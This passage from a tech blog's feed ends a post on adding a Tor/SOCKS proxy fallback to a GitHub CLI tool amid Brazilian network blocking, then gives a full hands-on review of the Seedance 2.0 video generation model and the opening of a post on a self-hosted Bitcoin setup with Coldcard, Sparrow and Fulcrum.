<h2>Adjusting your own tools: ghpending<span class="hx:absolute hx:-mt-20" id="adjusting-your-own-tools-ghpending"></span>
    <a href="#adjusting-your-own-tools-ghpending" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>This block also hit one of my utilities: <a href="https://github.com/akitaonrails/ghpending"target="_blank" rel="noopener">ghpending</a>. I already wrote about it in <a href="/en/2026/05/23/i-built-a-cli-to-check-my-github-pending-stuff-ghpending/">&ldquo;I Built a CLI to Check My GitHub Pending Stuff: ghpending&rdquo;</a>. It lists open issues and pull requests across my repositories, so I know where somebody is waiting for an answer.</p>
<p>The problem is obvious: it uses the GitHub API. If <code>api.github.com</code> falls into a hole, it falls with it.</p>
<p>So I added a proxy fallback. <code>ghpending</code> now reads <code>GITHUB_TOKEN</code> like before, but also tries to use a SOCKS proxy in this order:</p>
<ol>
<li><code>GHPENDING_GITHUB_PROXY</code>, if you want to force a specific proxy.</li>
<li><code>HTTPS_PROXY</code>, <code>https_proxy</code>, <code>ALL_PROXY</code>, or <code>all_proxy</code>, if they are <code>socks5://</code> or <code>socks5h://</code>.</li>
<li>A local SOCKS proxy at <code>127.0.0.1:9050</code>, if one is listening.</li>
<li>If none of that exists, it tries direct access.</li>
</ol>
<p>In the README, it looks like this:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="nv">GITHUB_TOKEN</span><span class="o">=</span><span class="k">$(</span>gh auth token<span class="k">)</span> ghpending</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>And for proxy:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="nv">GHPENDING_GITHUB_PROXY</span><span class="o">=</span>socks5h://127.0.0.1:9050 ghpending</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Or just run it through the wrapper:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">~/.local/bin/github-proxy ghpending</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>My wrapper starts Tor on <code>127.0.0.1:9050</code>; <code>ghpending</code> detects that proxy and uses it for API calls. If you are not blocked, it keeps working directly. If you are blocked, it has an escape route.</p>
<p>This is the kind of fallback every Brazilian dev should now consider for tools that depend on foreign APIs. It is ugly, but the Brazilian internet is getting unpredictable.</p>
<h2>The political problem<span class="hx:absolute hx:-mt-20" id="the-political-problem"></span>
    <a href="#the-political-problem" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>At the end of the thread, <a href="https://x.com/ayubio/status/2064880160893968643"target="_blank" rel="noopener">Ayub reminded everyone</a> that, because of these secret collateral blocks and their side effects, there would already be around 250 million addresses blocked on the Brazilian internet. He also linked a presentation about the state of blocking in Brazil. In another tweet in the same thread, he says authorities defend secrecy as the only alternative left to fight crime.</p>
<p>I do not buy that excuse.</p>
<p>Secret blocking of critical infrastructure, with no transparency, no public adversarial process, no auditable list, no explanation of scope, is operational censorship. In my read, it is illegal precisely because it dodges the public, auditable process that should exist when the State orders internet access to be broken. Maybe it started with pirate TV boxes. Maybe the speech sounds noble. But the mechanism is there: somebody presses a button, carriers apply the block, legitimate users only find out when a work tool stops.</p>
<p>Today, the collateral damage hit honest developers trying to work with GitHub. Tomorrow it hits a Linux package, a container registry, a CDN, a payment API, an authentication service. Then everybody runs to VPNs, Tor, proxies, alternate DNS, <code>/etc/hosts</code>, Pi-hole. Congratulations: little by little, we are rebuilding the survival manual for a censored internet.</p>
<p>No need to overdo the metaphor. Brazil is not China yet. But the smell is the same: centralized opaque blocking, collateral damage, and ordinary users having to learn bypasses to work.</p>
<p>If you were affected, document it. Run the commands. Save outputs. Open an issue with your provider. Complain with data. Share workarounds, but do not normalize this. A bypass is a bandage. The real problem is a State giving itself the power to silently break pieces of the internet.</p>
<p>And if all you wanted was to run <code>gh pr list</code> to review a pull request: welcome to Brazilian infrastructure in 2026.</p>
]]></content:encoded><category>ghpending</category><category>networking</category><category>security</category><category>linux</category></item><item><title>Seedance 2.0 Is Finally Out: First Impressions</title><link>https://akitaonrails.github.io/en/2026/04/15/seedance-2-0-public-launch-first-impressions/</link><guid isPermaLink="true">https://akitaonrails.github.io/en/2026/04/15/seedance-2-0-public-launch-first-impressions/</guid><pubDate>Wed, 15 Apr 2026 10:00:00 -0300</pubDate><description>&lt;p&gt;ByteDance opened up the public release of &lt;a href="https://seed.bytedance.com/en/blog/official-launch-of-seedance-2-0"target="_blank" rel="noopener"&gt;Seedance 2.0&lt;/a&gt; today, April 15. They had promised the model late last year, but access stayed locked to commercial partners for months, with delay after delay. As of today, anyone can try it.&lt;/p&gt;
&lt;p&gt;The pitch is strong. It&amp;rsquo;s a multimodal video generation model that takes text, up to 9 reference images, 3 reference video clips, and 3 audio tracks all in the same call. On top of that, it produces up to 15 seconds of output with native synced audio (dialogue, sound effects, ambient music), supports video extension, surgical editing of characters and objects, and prompt-driven camera planning. ByteDance is pitching it at commercial advertising, explainer videos, film production, e-commerce, and gaming. Translation: for content creators trying to climb out of the &amp;ldquo;random meme&amp;rdquo; tier and start producing things that look professional.&lt;/p&gt;</description><content:encoded><![CDATA[<p>ByteDance opened up the public release of <a href="https://seed.bytedance.com/en/blog/official-launch-of-seedance-2-0"target="_blank" rel="noopener">Seedance 2.0</a> today, April 15. They had promised the model late last year, but access stayed locked to commercial partners for months, with delay after delay. As of today, anyone can try it.</p>
<p>The pitch is strong. It&rsquo;s a multimodal video generation model that takes text, up to 9 reference images, 3 reference video clips, and 3 audio tracks all in the same call. On top of that, it produces up to 15 seconds of output with native synced audio (dialogue, sound effects, ambient music), supports video extension, surgical editing of characters and objects, and prompt-driven camera planning. ByteDance is pitching it at commercial advertising, explainer videos, film production, e-commerce, and gaming. Translation: for content creators trying to climb out of the &ldquo;random meme&rdquo; tier and start producing things that look professional.</p>
<p>If you want a quick visual tour before going further, here&rsquo;s a great walkthrough from Stefan, of the <a href="https://www.youtube.com/channel/UCRW08KcTVjXEmBzBsVl7XjA"target="_blank" rel="noopener">Stefan 3D AI Lab</a> channel, which I already plugged in the <a href="/en/2026/01/23/ai-3d-can-you-actually-model-3d-with-prompts-now/">post on AI 3D modeling</a>:</p>


<div class="embed-container">
  <iframe
    src="https://www.youtube.com/embed/fv9vA6RCNHU"
    title="YouTube video player"
    frameborder="0"
    allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share"
    referrerpolicy="strict-origin-when-cross-origin"
    allowfullscreen>
  </iframe>
</div>

<p>The main interface is Dreamina&rsquo;s &ldquo;Photo Studio,&rdquo; where you pick the generation mode and stack your references. So far I&rsquo;ve only tested the standard multi-reference mode.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/15/seedance/studio.png" alt="The Seedance 2.0 Photo Studio interface, with a reference upload panel and prompt configuration"  loading="lazy" /></p>
<h2>Test 1: lip sync with podcast audio<span class="hx:absolute hx:-mt-20" id="test-1-lip-sync-with-podcast-audio"></span>
    <a href="#test-1-lip-sync-with-podcast-audio" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>My first test was simple. I grabbed a few seconds of the opening bumper from my podcast <a href="/en/tags/the-m-akita-chronicles/">The M.Akita Chronicles</a>, which is generated by AI through an <a href="/en/2026/04/09/how-elevenlabs-was-not-killed-by-qwen3-tts/">ElevenLabs v3 pipeline</a>, passed in my new anime-style avatar as a reference image, and asked Seedance to make the character lip-sync and gesture along with that audio.</p>
<div style="max-width: 100%; margin: 1em 0;">
  <video controls playsinline style="width: 100%; border-radius: 8px;">
    <source src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/15/seedance/test1.mp4" type="video/mp4">
  </video>
  <em>Anime avatar lip-syncing to the M.Akita Chronicles bumper</em>
</div>
<p>The result is decent. All of that came from a single still image. The lip sync follows the speech reasonably well, the expression has some life to it, and the hand gesture lands at the right beat. But this is a YouTube short or Instagram clip at best. Not the kind of animation you&rsquo;d open a serious video with.</p>
<h2>The feature that actually matters: video reference<span class="hx:absolute hx:-mt-20" id="the-feature-that-actually-matters-video-reference"></span>
    <a href="#the-feature-that-actually-matters-video-reference" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>And here&rsquo;s what I think is the only real use of these models for actual work: feeding in <strong>video as a reference</strong>. Text alone is never going to be precise enough. You can describe a scene with whatever vocabulary you want, swap adjectives, specify lens, angle, framing, and every generation will still hand you back something subtly different. It&rsquo;s a slot machine. Great for memes, terrible for production.</p>
<p>Most amateurs see one random clip that comes out nice on the first try and go straight to flooding their X and Instagram feeds with it. That&rsquo;s not control. That&rsquo;s luck. For film, for ads, for show openers, for anything where the next shot has to match the previous one, you have to be able to tell the model: &ldquo;do exactly this motion, with exactly this camera.&rdquo; That&rsquo;s where reference video changes the game, because it replaces hours of 3D modeling, rigging, animation, and rendering that would cost a fortune in a studio.</p>
<p>For my test, I recycled the model I&rsquo;d already generated in the <a href="/en/2026/01/23/ai-3d-can-you-actually-model-3d-with-prompts-now/">post on AI 3D with Hunyuan and Nano Banana</a>, where I tested how far you can take 3D modeling from a prompt and even hit &ldquo;print&rdquo; on the result. But for something more cinematic I wanted a model with a proper animation cycle. So I grabbed the <a href="https://sketchfab.com/3d-models/darth-talon-4338105e09704f359c6afcab7e5fce10"target="_blank" rel="noopener">Darth Talon</a> model from Sketchfab, which has a short, well-made motion sequence, just because it looked cool.</p>
<p>I imported the FBX into Blender, set up a basic camera and lighting, and did a quick Cycles render. Nothing pretty about it, just a sketch to feed in as motion and framing reference.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/15/seedance/blender.png" alt="The Darth Talon model imported into Blender with camera and lighting set up for a rough Cycles render"  loading="lazy" /></p>
<div style="max-width: 100%; margin: 1em 0;">
  <video controls playsinline style="width: 100%; border-radius: 8px;">
    <source src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/15/seedance/blender-render.mp4" type="video/mp4">
  </video>
  <em>The quick Cycles render that's about to become motion reference</em>
</div>
<p>I uploaded that render to Seedance as a video reference along with three t-pose images of the character (front, back, left side) for visual consistency:</p>
<div style="display: flex; gap: 8px; flex-wrap: wrap; margin: 1em 0; justify-content: center;">
  <img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/15/seedance/front.jpg" alt="Front t-pose" style="flex: 1 1 30%; min-width: 140px; max-width: 32%; border-radius: 8px;" />
  <img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/15/seedance/back.jpg" alt="Back t-pose" style="flex: 1 1 30%; min-width: 140px; max-width: 32%; border-radius: 8px;" />
  <img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/15/seedance/left.jpg" alt="Left side t-pose" style="flex: 1 1 30%; min-width: 140px; max-width: 32%; border-radius: 8px;" />
</div>
<p>First attempt, with a generic prompt:</p>
<div style="max-width: 100%; margin: 1em 0;">
  <video controls playsinline style="width: 100%; border-radius: 8px;">
    <source src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/15/seedance/test2.mp4" type="video/mp4">
  </video>
  <em>First generation: the character stayed consistent, but the motion and camera missed the reference</em>
</div>
<p>Not bad. The character keeps its identity, the lighting got a serious upgrade over my raw render, and the clip is coherent. But the motion and camera position drifted noticeably from the reference. The model basically read it as &ldquo;there&rsquo;s a character here that looks like that doing something like that,&rdquo; and improvised the rest.</p>
<p>Then I remembered Stefan&rsquo;s tutorial: the trick is to literally drop something like <code>Follow exact motion and camera from reference video</code> into the prompt. Tried again:</p>
<div style="max-width: 100%; margin: 1em 0;">
  <video controls playsinline style="width: 100%; border-radius: 8px;">
    <source src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/15/seedance/test3.mp4" type="video/mp4">
  </video>
  <em>Second generation: explicit instruction to follow the reference's motion and camera</em>
</div>
<p>A lot better. It&rsquo;s clearly following the reference choreography, the camera angle matches in several beats, and the character looks more polished than anything I could hand-render in a quick Cycles sketch. But it&rsquo;s still not a frame-for-frame match. In some shots the model is still taking liberties with timing, position, and framing. There are other prompting tricks and parameters to play with, but I stopped here to write this up while the launch is still fresh.</p>
<h2>ComfyUI, Runway, and the rest of the ecosystem<span class="hx:absolute hx:-mt-20" id="comfyui-runway-and-the-rest-of-the-ecosystem"></span>
    <a href="#comfyui-runway-and-the-rest-of-the-ecosystem" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Seedance 2.0 also already shipped <a href="https://blog.comfy.org/p/seedance-20-is-now-available-in-comfyui"target="_blank" rel="noopener">as a ComfyUI cloud node</a>, which is great for anyone who wants to drop the model into a bigger pipeline without bouncing between web UIs. If you&rsquo;ve already got an image-gen workflow built in ComfyUI, this is genuinely handy.</p>
<p>And for anyone who wants volume without doing the per-generation credit math, Runway is offering Seedance 2.0 as part of their <a href="https://www.mindstudio.ai/blog/seedance-2-0-runway-unlimited-plan"target="_blank" rel="noopener">Unlimited plan</a>, which runs around $76/month annual or $95/month monthly. &ldquo;Unlimited&rdquo; means no per-generation charge, but you do trade for lower queue priority at peak hours and an output storage cap. If you iterate a lot, the subscription model makes way more sense than buying credits one at a time.</p>
<h2>The price question<span class="hx:absolute hx:-mt-20" id="the-price-question"></span>
    <a href="#the-price-question" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Seedance&rsquo;s own pricing is credit-based. The Standard plan is $24.90/month annual or $49.90/month monthly, and gets you 2,500 credits a month. Every 10 seconds of generated video burns 6 credits.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/15/seedance/pricing.png" alt="Seedance 2.0 pricing table, with plans from Standard up to the top tier and per-second credit costs"  loading="lazy" /></p>
<p>The math is brutal. With 2,500 credits on Standard, you get about 416 ten-second generations a month. Sounds like a lot, until you remember my own test: it took at least two tries to get close to what I wanted, and even then it wasn&rsquo;t a one-to-one match. In practice, plan on 3 to 5 regenerations per usable scene. That drops your real number to something like 80 to 140 short clips per month. Maybe enough for a solo creator doing short-form content. Nowhere near enough for production that needs minutes of polished, continuous video.</p>
<p>The higher tiers scale credits roughly linearly, but the same problem holds: at today&rsquo;s price, Seedance 2.0 is still a tool for short clips and well-made memes, or for pre-vis sketches before you send the real thing to an actual studio. It doesn&rsquo;t replace continuous professional production. For that use case, Runway with Unlimited is honestly the cheaper option in practice. <a href="https://seedance2.ai/pricing"target="_blank" rel="noopener">Full pricing table here</a>.</p>
<h2>What nobody wants to talk about: restrictions and deepfakes<span class="hx:absolute hx:-mt-20" id="what-nobody-wants-to-talk-about-restrictions-and-deepfakes"></span>
    <a href="#what-nobody-wants-to-talk-about-restrictions-and-deepfakes" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Two things I don&rsquo;t want to leave out. First: Seedance 2.0 took its sweet time getting to the public partly because ByteDance is being a lot more conservative than the competition when it comes to moderation. The model blocks generation that uses real people as reference (celebrities, politicians, public figures) and filters strong-IP characters from Disney, Marvel/DC, Nintendo, and registered trademarks generally. If you want the details of what passes, what doesn&rsquo;t, and why ByteDance went that way, <a href="https://www.mindstudio.ai/blog/seedance-2-0-content-restrictions-workarounds"target="_blank" rel="noopener">this MindStudio piece breaks it down</a>. It makes sense: ByteDance operates across dozens of jurisdictions, lives under heavy regulatory scrutiny worldwide, and has the elephant in the room of Hollywood pushing the entire industry with copyright suits over training data and generation. The release got delayed and arrived with heavier filters precisely because of that.</p>
<p>Second point, and this is the one that matters more: for you, the average reader, the message is that <strong>deepfakes are no longer hypothetical</strong>. Photos on the internet stopped counting as proof a long time ago, because image models like Nano Banana, Hunyuan, and the rest deliver realism that fools anyone. Now video sits in the same bucket. What we just saw above, where a couple of references and two prompts get you a coherent animated scene in minutes, is just the start. The average person, with no training, isn&rsquo;t going to be able to tell generated video from real video at a glance anymore. And Seedance&rsquo;s filters only block above-board, legitimate use. Anyone with bad intent will always find a path through open source models, workarounds, or less strict platforms. That&rsquo;s the world we&rsquo;re in now, and the sooner we collectively accept it, the better off we are.</p>
<h2>No, this doesn&rsquo;t replace real artists<span class="hx:absolute hx:-mt-20" id="no-this-doesnt-replace-real-artists"></span>
    <a href="#no-this-doesnt-replace-real-artists" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Let me cut off the usual speech before it shows up in the comments. No, Seedance doesn&rsquo;t replace VFX artists, directors, editors, none of that. This is a hammer. The tool is the same for everybody. What comes out the other end depends entirely on who&rsquo;s swinging it.</p>
<p>Anyone who&rsquo;s actually studied framing, pacing, continuity, art direction, editing, color, composition is going to use Seedance to 10x the work they were already capable of delivering. Anyone who hasn&rsquo;t studied any of that is going to crank out the same Instagram meme they were already cranking out, just 10x faster. <strong>The AI reflects who you are.</strong> If you&rsquo;re a real artist, the tool multiplies you. If you only think you are, the tool multiplies the mediocrity. There&rsquo;s no miracle here.</p>
<p>This is exactly why the whole &ldquo;now everyone can be a film director with AI&rdquo; wave is the same song we&rsquo;ve heard with the digital camera, with Photoshop, with After Effects, with Premiere, and with every powerful tool that&rsquo;s shown up in the last 30 years. The technical bar drops. The bar of taste, reference, and study sits exactly where it always has. Good people get more productive. Everyone else still needs to hire real ones to do real work.</p>
<h2>Where this goes next<span class="hx:absolute hx:-mt-20" id="where-this-goes-next"></span>
    <a href="#where-this-goes-next" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Seedance 2.0 is clearly a step in the right direction, but it&rsquo;s not the tool that replaces professional production yet. Text alone stays imprecise, video reference helps but still drifts, and the price per minute of polished output is high relative to what you actually get. The good news is that this story always rhymes: Google has Veo, Runway has its own model and is also reselling Seedance, Kling and Hailuo from China keep pushing, and the open source models are gaining ground. OpenAI had Sora, but they shut it down. As competition tightens, quality goes up and price comes down. A year or two from now we&rsquo;ll be looking back at this post and finding what I just showed pretty quaint. Same as it ever was.</p>
]]></content:encoded><category>generative-media</category><category>reviews</category><category>security</category></item><item><title>Bitcoin on the Home Server: Sovereignty and Privacy with Coldcard, Sparrow and Fulcrum</title><link>https://akitaonrails.github.io/en/2026/04/01/bitcoin-on-the-home-server-sovereignty-with-coldcard-sparrow-fulcrum/</link><guid isPermaLink="true">https://akitaonrails.github.io/en/2026/04/01/bitcoin-on-the-home-server-sovereignty-with-coldcard-sparrow-fulcrum/</guid><pubDate>Wed, 01 Apr 2026 19:00:00 -0300</pubDate><description>&lt;p&gt;This post is a direct follow-up to my recent articles about the &lt;a href="https://akitaonrails.github.io/en/2026/03/31/migrating-my-home-server-with-claude-code/"&gt;new home server with openSUSE MicroOS&lt;/a&gt; and the &lt;a href="https://akitaonrails.github.io/en/2026/03/31/minisforum-ms-s1-max-amd-ai-max-395-review/"&gt;Minisforum MS-S1 Max&lt;/a&gt;. Those covered the foundation. Here I want to show one concrete use for it: putting together a decent Bitcoin stack at home, focused on privacy, operational sovereignty and safe transactions on my side.&lt;/p&gt;
&lt;p&gt;First things first: this isn&amp;rsquo;t an evangelism piece or a day-trading pitch. Quite the opposite. As I write this, on April 1, 2026, Bitcoin is around US$ 68k and close to R$ 391k, below the 2025 peaks. Plenty of people look at that and either panic or start fantasizing about leveraged trades. I think both reactions are wrong. There&amp;rsquo;s a &amp;ldquo;super cycle&amp;rdquo; thesis floating around based on institutional demand, spot ETFs and the lagged halving effect. Maybe. Maybe not. What I do know is that short-term candles don&amp;rsquo;t change the part I actually care about: infrastructure. If you need leverage to &amp;ldquo;speed up your gains,&amp;rdquo; you&amp;rsquo;re probably just speeding up your chances of getting liquidated.&lt;/p&gt;</description><content:encoded><![CDATA[<p>This post is a direct follow-up to my recent articles about the <a href="/en/2026/03/31/migrating-my-home-server-with-claude-code/">new home server with openSUSE MicroOS</a> and the <a href="/en/2026/03/31/minisforum-ms-s1-max-amd-ai-max-395-review/">Minisforum MS-S1 Max</a>. Those covered the foundation. Here I want to show one concrete use for it: putting together a decent Bitcoin stack at home, focused on privacy, operational sovereignty and safe transactions on my side.</p>
<p>First things first: this isn&rsquo;t an evangelism piece or a day-trading pitch. Quite the opposite. As I write this, on April 1, 2026, Bitcoin is around US$ 68k and close to R$ 391k, below the 2025 peaks. Plenty of people look at that and either panic or start fantasizing about leveraged trades. I think both reactions are wrong. There&rsquo;s a &ldquo;super cycle&rdquo; thesis floating around based on institutional demand, spot ETFs and the lagged halving effect. Maybe. Maybe not. What I do know is that short-term candles don&rsquo;t change the part I actually care about: infrastructure. If you need leverage to &ldquo;speed up your gains,&rdquo; you&rsquo;re probably just speeding up your chances of getting liquidated.</p>
<p>For me, the useful question isn&rsquo;t &ldquo;is it going up tomorrow?&rdquo; The useful question is: &ldquo;if I want to store and move Bitcoin without outsourcing everything to an exchange, a web wallet and a public API, how do I set that up properly at home?&rdquo;</p>
<h2>The real problem: too much convenience costs too much privacy<span class="hx:absolute hx:-mt-20" id="the-real-problem-too-much-convenience-costs-too-much-privacy"></span>
    <a href="#the-real-problem-too-much-convenience-costs-too-much-privacy" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Most people&rsquo;s default flow is simple: buy on an exchange, leave the balance sitting there, or install some random wallet on the phone and call it done. It works. It also concentrates risk and leaks metadata everywhere.</p>
<p>If you leave a balance on an exchange, you have custody risk. If you use a desktop wallet pointed at a public server, you have privacy risk. If you use a hardware wallet casually, bought second-hand on Mercado Livre, you have supply chain risk. Mix all that with hurry, and it gets worse.</p>
<p>That&rsquo;s why I ended up at a combination that, for someone technical who wants to run their own infra, feels pretty solid:</p>
<ul>
<li>Coldcard for cold storage</li>
<li>Sparrow Wallet on Linux as the desktop wallet and transaction coordinator</li>
<li>Fulcrum on the home server as a private Electrum server</li>
<li>bitcoind on the same server as a real full node, validating the chain and broadcasting without depending on third parties</li>
</ul>
<p>It&rsquo;s not the easiest path. But that&rsquo;s exactly the point. Real security rarely comes from the easiest path.</p>
<h2>The concepts that confuse beginners<span class="hx:absolute hx:-mt-20" id="the-concepts-that-confuse-beginners"></span>
    <a href="#the-concepts-that-confuse-beginners" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Before getting into the stack, it&rsquo;s worth aligning on four terms that usually get tossed around like everyone already knows them:</p>
<table>
  <thead>
      <tr>
          <th>Concept</th>
          <th>What it is</th>
          <th>Why it matters</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>Airgap</td>
          <td>A device that never touches the internet, not even over data USB</td>
          <td>Reduces the signer&rsquo;s attack surface</td>
      </tr>
      <tr>
          <td>PSBT</td>
          <td>Partially Signed Bitcoin Transaction</td>
          <td>Standard format for preparing, signing and finalizing transactions in stages</td>
      </tr>
      <tr>
          <td>Watch-only wallet</td>
          <td>A wallet that sees balances/addresses but doesn&rsquo;t hold a private key</td>
          <td>Great for the desktop: it observes and assembles the transaction, but doesn&rsquo;t sign</td>
      </tr>
      <tr>
          <td>Full node</td>
          <td>A node that validates blocks and protocol rules locally</td>
          <td>You don&rsquo;t have to &ldquo;trust&rdquo; anyone&rsquo;s API</td>
      </tr>
      <tr>
          <td>Electrum server</td>
          <td>An indexing layer that quickly answers wallet queries</td>
          <td>Without one, desktop wallets end up dependent on public servers</td>
      </tr>
  </tbody>
</table>
<p>In plain language, the flow looks like this:</p>
<ol>
<li>Sparrow, on the desktop, builds the transaction.</li>
<li>That transaction becomes a PSBT.</li>
<li>The PSBT goes to the Coldcard via microSD.</li>
<li>The Coldcard signs it offline.</li>
<li>The signed file goes back to Sparrow.</li>
<li>Sparrow broadcasts through your own server, not through someone else&rsquo;s public infrastructure.</li>
</ol>
<p>That&rsquo;s what people mean by &ldquo;airgapped workflow.&rdquo; It&rsquo;s not magic. It&rsquo;s just disciplined separation of roles.</p>
<h2>Coldcard: cold signer, offline, the right kind of annoying<span class="hx:absolute hx:-mt-20" id="coldcard-cold-signer-offline-the-right-kind-of-annoying"></span>
    <a href="#coldcard-cold-signer-offline-the-right-kind-of-annoying" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>I use <a href="https://coldcard.com/"target="_blank" rel="noopener">Coldcard</a> as cold storage. The reason is simple: it was designed from day one as a Bitcoin-only device, with a heavy focus on airgapped operation through microSD. That alone eliminates an entire category of &ldquo;conveniences&rdquo; that many people find practical, but that I&rsquo;d rather not have anywhere near my keys.</p>
<p><a href="https://coldcard.com/mk4"target="_blank" rel="noopener"><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/01/bitcoin-sovereignty/coldcard-mk4-official.png" alt="Coldcard Mk4 on the official Coinkite site"  loading="lazy" /></a></p>
<p>In practice, the Coldcard holds the most important part of the system: the private key. It doesn&rsquo;t need to know about a server, Electrum, public API, exchange, or any of that. Its job is one thing: sign transactions offline.</p>
<p>That decoupling is great for two reasons:</p>
<ul>
<li>The desktop can be convenient without becoming a single point of failure.</li>
<li>The signer stays isolated even if your main machine has problems.</li>
</ul>
<p>And here&rsquo;s a warning I really want to put in mental all-caps:</p>
<p><strong>Never buy a hardware wallet second-hand. Ever.</strong></p>
<p>This isn&rsquo;t an exaggeration. You have no way to actually know what happened to that device before it reached your hands. It could have a pre-generated seed, tampered firmware, swapped components, repackaged box, compromised supply chain, or simply some dumb trick waiting for you to let your guard down. Hardware wallet is one of those categories where saving R$ 300 buying used is insanity. Always buy from the manufacturer&rsquo;s official site or from a reseller officially authorized by the manufacturer. And even then, check seals, provenance and firmware.</p>
<h2>Can you do something similar with an old phone?<span class="hx:absolute hx:-mt-20" id="can-you-do-something-similar-with-an-old-phone"></span>
    <a href="#can-you-do-something-similar-with-an-old-phone" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>You can. But I&rsquo;d treat it as a study or budget alternative, not as an obvious substitute for a Coldcard.</p>
<p>The most serious path for that today is <a href="https://airgap.it/"target="_blank" rel="noopener">AirGap Vault</a>, which was specifically designed to use an old smartphone as an offline signer over QR codes, keeping the device off the network. The idea is good, and for many people it might be the right entry point.</p>
<p>But there are trade-offs:</p>
<ul>
<li>An old smartphone wasn&rsquo;t designed as a dedicated hardware wallet</li>
<li>The device&rsquo;s prior history matters</li>
<li>An aged battery, bad screen and abandoned Android are real problems</li>
<li>The threat model is less clear than on a dedicated device</li>
</ul>
<p>So my view is simple: can you use it? Yes. Would I recommend it as the main solution for storing meaningful wealth? No. For that I still prefer dedicated hardware bought from the right source.</p>
<h2>Sparrow Wallet: the best desktop piece in this puzzle<span class="hx:absolute hx:-mt-20" id="sparrow-wallet-the-best-desktop-piece-in-this-puzzle"></span>
    <a href="#sparrow-wallet-the-best-desktop-piece-in-this-puzzle" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>On Linux, I use <a href="https://sparrowwallet.com/"target="_blank" rel="noopener">Sparrow Wallet</a>. For me, today, it&rsquo;s one of the best pieces of software in this ecosystem.</p>
